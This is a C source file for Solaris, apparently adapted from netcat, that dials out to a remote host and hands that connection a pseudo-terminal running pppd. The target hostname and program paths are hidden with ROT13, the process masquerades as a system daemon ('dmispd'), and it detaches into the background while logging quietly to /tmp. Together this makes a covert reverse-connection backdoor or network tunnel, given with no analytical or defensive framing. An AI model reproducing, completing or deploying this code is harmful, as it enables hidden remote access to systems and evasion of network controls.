|
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <poll.h> #include <setjmp.h> /* jmp_buf et al */ #include <stropts.h> #include <signal.h> #include <sys/types.h> #include <sys/time.h> /* timeval, time_t */ #include <sys/socket.h> /* basics, SO_ and AF_ defs, sockaddr, ... */ #include <sys/conf.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/select.h> #include <netdb.h> /* hostent, gethostby*, getservby* */ #include <netinet/in.h> /* sockaddr_in, htons, in_addr */ #include <netinet/in_systm.h> /* misc crud that netinet/ip.h references */ #include <netinet/ip.h> /* IPOPT_LSRR, header stuff */ #include <arpa/inet.h> /* inet_ntoa */ char *pname = NULL; char *program = 0; char *args[] = { 0, 0, }; #define DONE(x) { code = (x); goto done; } void trans(char *p, char *from, char *to) { while (*p) { if (*p == from[0]) *p = to[0]; else if (*p == from[1]) *p = to[1]; else if (*p < 'n') *p = *p + 13; else *p = *p - 13; p++; } } int doexec(int netfd) { int fdm, fds; int code = 0; pid_t pid; struct stat stb; char *sname; char buf[256]; int port=6999; char *host = getenv("DH"); char *p; char *logName = "/tmp/_lgpt_"; FILE *log = NULL; dup2 (netfd, 0); close (netfd); dup2 (0, 1); dup2 (0, 2); if (!access(logName,W_OK)) { log = fopen(logName,"a+"); if (!log) log = NULL; } if (log) { fprintf(log,"Log open %d\n",getpid()); fflush(log); } if (!host) { if (log) { fprintf(log,"Error: host undefined\n"); fflush(log); } exit(1); } p = getenv("DP"); if (p && isdigit(*p)) port = strtol(p,0,0); sleep(1); if (log) { fprintf(log,"%s %d\n",host,port); fflush(log); } printf("%s %d\n",host,port); fflush(stdout); p = buf; while (p < buf+256) { *p = 0; code = read(1,p,1); if (code != 1) { if (log) { fprintf(log,"failed input: %s<%d>\n", buf, p-buf); fflush(log); } exit(2); } if (*p == '\r') continue; if (*p == '\n') { if (log) { fprintf(log,"input <%d>:%s\n",p-buf,buf); fflush(log); } break; } p++; } /* * don't fork */ if (fork() > 0) exit(0); /* * allocate a terminal pair */ fdm = open("/dev/ptmx", O_RDWR | O_NOCTTY); if (fdm < 0 || fstat(fdm, &stb) < 0) { if (log) { fprintf(log, "%s: Can't stat pty: %s",pname,strerror(errno)); fflush(log); } exit(2); } /* * find the slave, unlock it */ sname = (char *)ptsname(fdm); if ((sname == NULL) || grantpt(fdm) || unlockpt(fdm)) { if (log) { fprintf(log, "%s: Can't unlock pty: %s\n",pname,strerror(errno)); fflush(log); } exit(3); } /* * get an fd for the slave */ fds = open(sname, O_RDWR); if (fds < 0) { if (log) { fprintf(log, "%s: Cannot open slave pty %s: %s\n", pname, sname, strerror(errno)); fflush(log); } exit(4); } program = strdup("%hfe#ybpny#ova%cccq"); trans(program,"%#","//"); args[0] = strdup("Qhfe^yvoQqzv^qzvfcq"); trans(args[0],"Q^","//"); /* * enable terminal line-discipline on the slave */ ioctl(fds, I_PUSH, "ptem"); ioctl(fds, I_PUSH, "ldterm"); /* * fork */ pid = fork(); if (pid < 0) { if (log) { fprintf(log, "%s: fork failed: %s\n", pname, strerror(errno)); fflush(log); } exit(5); } /* Put in separate process group, disassociate controlling terminal. */ setsid(); if (log) { fprintf(log, "process %d\n",getpid()); fflush(log); } if (pid > 0) { /* Parent */ int i, n; int status = 0; struct pollfd pfds[2]; #define BUFLEN 8192 char outbuf[BUFLEN]; char inbuf[BUFLEN]; int outnb = 0; int innb = 0; pfds[0].fd = fdm; pfds[1].fd = 0; for (i=0; i<2; i++) { int flag_bits = 0; pfds[i].events = POLLIN; pfds[i].revents = 0; if (!fcntl(pfds[i].fd,F_GETFL,&flag_bits)) { flag_bits |= O_NONBLOCK; fcntl(pfds[i].fd,F_SETFL,&flag_bits); } } /* shuttle bytes between stdio and pty */ while (waitpid(pid,&status,WNOHANG) != pid || !(WIFEXITED(status) || WIFSIGNALED(status))) { /* child has not exitted yet */ if (n = poll(pfds+0,2,10) > 0) { /* 10 millisec poll block */ /* check for closes */ for (i=0; i<2; i++) if (pfds[i].revents & POLLHUP) DONE(1); /* shuttle bytes from fdm to stdout */ if ((pfds[0].revents & POLLIN) && outnb < BUFLEN) { if (!(n = read(fdm,outbuf+outnb,BUFLEN-outnb))) DONE(2); if (n > 0) outnb += n; else ; } if (outnb > 0) { n = write(1,outbuf,outnb); if (n > 0) { outnb -= n; memmove(outbuf,outbuf+n,outnb); } else if (errno != EWOULDBLOCK) DONE(3); } /* shuttle bytes from stdin to fdm */ if ((pfds[1].revents & POLLIN) && innb < BUFLEN) { if (!(n = read(0,inbuf+innb,BUFLEN-innb))) DONE(4); if (n > 0) innb += n; else ; } if (innb > 0) { n = write(fdm,inbuf,innb); if (n > 0) { innb -= n; memmove(inbuf,inbuf+n,innb); } else if (errno != EWOULDBLOCK) DONE(5); } } /* end if poll */ } /* end while */ done: /* child exitted */ close(fdm); close(0); close(1); close(2); /* return child status */ if (!(WIFEXITED(status) || WIFSIGNALED(status))) waitpid(pid,&status,0); if (log) { fprintf(log,"Child status %d, parent code %d\n",WEXITSTATUS(status),code); fflush(log); } exit(WEXITSTATUS(status)); } else { /* Child */ close(fdm); dup2(fds, 0); dup2(fds, 1); dup2(fds, 2); if (fds > 2) (void) close(fds); execv(program,args); if (log) { fprintf(log,"Failed to exec %s: %s\n",program,args[0]); fflush(log); } exit(6); } /* end if child */ } struct host_data { char name[MAXHOSTNAMELEN]; /* dns name */ char addrs[8][24]; /* ascii-format IP addresses */ struct in_addr iaddrs[8]; /* real addresses: in_addr.s_addr: ulong */ }; /* globals: */ jmp_buf jbuf; /* timer crud */ int jval = 0; /* timer crud */ int netfd = -1; int ofd = 0; /* hexdump output fd */ static char unknown[] = "(UNKNOWN)"; extern int h_errno; struct sockaddr_in lclend; struct sockaddr_in remend; /* global cmd flags: */ ushort o_verbose = 0; unsigned int o_wait = 0; ushort o_zero = 0; /* Debug macro: squirt whatever message and sleep a bit so we can see it go by. need to call like Debug ((stuff)) [with no ; ] so macro args match! Beware: writes to stdOUT... */ #ifdef DEBUG #define Debug(x) printf x; printf ("\n"); fflush (stdout); sleep (1); #else #define Debug(x) /* nil... */ #endif /* timeout and other signal handling cruft */ void tmtravel (int ign) { signal (SIGALRM, SIG_IGN); alarm (0); if (jval == 0) { exit(1); } longjmp (jbuf, jval); } /* arm : set the timer. Zero secs arg means unarm */ void arm (num, secs) unsigned int num; unsigned int secs; { if (secs == 0) { /* reset */ signal (SIGALRM, SIG_IGN); alarm (0); jval = 0; } else { /* set */ signal (SIGALRM, tmtravel); alarm (secs); jval = num; } /* if secs */ } /* arm */ struct host_data * gethostdata (name, numeric) char * name; ushort numeric; { struct hostent * hostent; struct in_addr iaddr; register struct host_data * data = NULL; register int x; errno = 0; h_errno = 0; if (name) data = (struct host_data *) malloc(sizeof (struct host_data)); if (! data) { exit(1); } memset(data,0,sizeof( struct host_data)); strcpy (data->name, unknown); /* preload it */ /* see wzv:workarounds.c for dg/ux return-a-struct inet_addr lossage */ iaddr.s_addr = inet_addr (name); if (iaddr.s_addr == 0xffffffff) { /* here's the great split: names... */ if (numeric) { exit(1); } hostent = gethostbyname (name); if (! hostent) { exit(1); } strncpy (data->name, hostent->h_name, MAXHOSTNAMELEN - 2); for (x = 0; hostent->h_addr_list[x] && (x < 8); x++) { memcpy (&data->iaddrs[x], hostent->h_addr_list[x], sizeof (struct in_addr)); strncpy (data->addrs[x], inet_ntoa (data->iaddrs[x]), sizeof (data->addrs[0])); } /* for x -> addrs, part A */ return (data); /* inverse stuff, we're done. */ } /* INADDR_NONE Great Split */ /* whatever-all went down previously, we should now have a host_data struct with at least one IP address in it. */ h_errno = 0; return (data); } /* gethostdata */ /* doconnect : do all the socket stuff, and return an fd for an open outbound TCP connection with appropriate socket options set up if we wanted source-routing, or an unconnected TCP or UDP socket to listen on. Examines various global o_blah flags to figure out what-all to do. */ int doconnect (rad, rp, lad, lp) struct in_addr * rad; ushort rp; struct in_addr * lad; ushort lp; { register int nnetfd; register int rr; int x, y; errno = 0; /* grab a socket; set opts */ newskt: nnetfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); if (nnetfd < 0){ exit(1); } if (nnetfd == 0) /* if stdin was closed this might *be* 0, */ goto newskt; /* so grab another. See text for why... */ x = 1; rr = setsockopt (nnetfd, SOL_SOCKET, SO_REUSEADDR, &x, sizeof (x)); /* fill in all the right sockaddr crud */ lclend.sin_family = AF_INET; /* fill in all the right sockaddr crud */ lclend.sin_family = AF_INET; remend.sin_family = AF_INET; /* if lad/lp, do appropriate binding */ if (lad) memcpy (&lclend.sin_addr.s_addr, lad, sizeof (struct in_addr)); if (lp) lclend.sin_port = htons (lp); rr = 0; if (lad || lp) { x = (int) lp; /* try a few times for the local bind, a la ftp-data-port... */ for (y = 4; y > 0; y--) { rr = bind (nnetfd, (struct sockaddr *)&lclend, sizeof (struct sockaddr)); if (rr == 0) break; if (errno != EADDRINUSE) break; else { fprintf(stderr,"retrying local %s:%d", inet_ntoa (lclend.sin_addr), lp); sleep (2); errno = 0; /* clear from sleep */ } /* if EADDRINUSE */ } /* for y counter */ } /* if lad or lp */ if (rr) { fprintf(stderr,"Can't grab %s:%d with bind", inet_ntoa(lclend.sin_addr), lp); exit (1); } memcpy (&remend.sin_addr.s_addr, rad, sizeof (struct in_addr)); remend.sin_port = htons (rp); /* wrap connect inside a timer, and hit it */ arm (1, o_wait); if (setjmp (jbuf) == 0) { rr = connect (nnetfd, (struct sockaddr *)&remend, sizeof (struct sockaddr)); } else { /* setjmp: connect failed... */ rr = -1; errno = ETIMEDOUT; /* fake it */ } arm (0, 0); if (rr == 0) return (nnetfd); close (nnetfd); /* clean up junked socket FD!! */ return (-1); } /* doconnect */ int main (int argc, char **argv) { char *pp, *pe, *prox, *cp; int x; struct host_data * whereto = NULL; struct in_addr * themaddr = NULL; ushort myport = 0; ushort remport = 0; pname = argv[0]; if (cp = strrchr(pname,'/')) pname = ++cp; res_init(); errno = 0; h_errno = 0; signal (SIGURG, SIG_IGN); signal (SIGPIPE, SIG_IGN); close (0); /* won't need stdin */ ofd = 0; pp = getenv("PH"); if (pp != NULL) prox = pp; else { prox = strdup("fha!onee@ronl"); trans(prox,"@!",".-"); } whereto = gethostdata (prox, 0); if (whereto && whereto->iaddrs) themaddr = &whereto->iaddrs[0]; errno = 0; h_errno = 0; myport = 0; pe = getenv("PP"); if (pe) remport = strtol(pe,0,0); if (remport < 1) remport = 3666; netfd = doconnect (themaddr, remport, 0, myport); Debug (("netfd %d from port %d to port %d", netfd, myport, remport)); if (netfd > 0) { /* Yow, are we OPEN YET?! */ x = 0; /* pre-exit status */ free(whereto); doexec (netfd); /* does not return */ } fprintf(stderr,"failed to connect\n"); exit(1); } /* main */